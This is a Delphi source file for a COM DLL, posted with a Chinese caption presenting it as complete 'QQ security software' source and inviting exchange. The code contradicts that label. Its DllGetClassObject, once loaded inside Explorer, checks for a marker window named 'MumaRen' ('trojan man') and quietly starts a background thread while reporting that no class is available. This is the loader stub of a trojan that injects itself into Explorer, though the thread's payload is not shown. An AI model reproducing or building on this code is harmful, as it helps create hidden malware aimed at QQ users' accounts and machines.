comunit.~pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

//南域剑盟  http://www.98exe.com
unit  ComUnit;

interface

uses
  ActiveX;

function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;
function DllCanUnloadNow: HResult; stdcall;
function DllRegisterServer: HResult; stdcall;
function DllUnregisterServer: HResult; stdcall;

implementation

uses
  Windows, Thread, VarUnit;

function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult;
var
  SubThreadID: LongWord;
begin
  if (IsExplorer = TRUE) and (FindWindow('Edit', 'MumaRen') = 0) then
    CreateThread(nil, 0, @ThreadPro, Pointer(66), 0, SubThreadID);

  Pointer(Obj) := nil;
  Result := CLASS_E_CLASSNOTAVAILABLE;
end;

function DllCanUnloadNow: HResult;
begin
  Result := S_OK;
end;

function DllRegisterServer: HResult;
begin
  Result := S_OK;
end;

function DllUnregisterServer: HResult;
begin
  Result := S_OK;
end;

end.